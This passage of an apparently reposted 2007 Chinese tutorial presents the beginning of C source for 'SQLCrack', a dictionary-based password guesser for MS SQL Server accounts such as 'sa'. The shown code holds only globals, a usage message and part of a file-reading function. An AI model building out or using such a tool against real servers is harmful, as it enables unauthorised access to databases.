黑客是如何破解MSSQLSERCVER密码的
来源:互联摘选 日期:2007-07-27 18:34
此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!
这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。
//程序所用到的头文件
//定义全局变量
char dict[20000][40],//准备探测的密码
UserName[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
//
//函数:usage
//功能:显示程序帮助信息
//
void usage()
{
printf("\nPower by analyzer〈inmiao@163.com〉"
"\nhttp://www.infocn.com"
"\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
"\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n");
return;
}
//
//函数:ReadDic
//功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码
//说明:函数运行失败返回值1,成功返回0
//
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
//打开字典文件
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}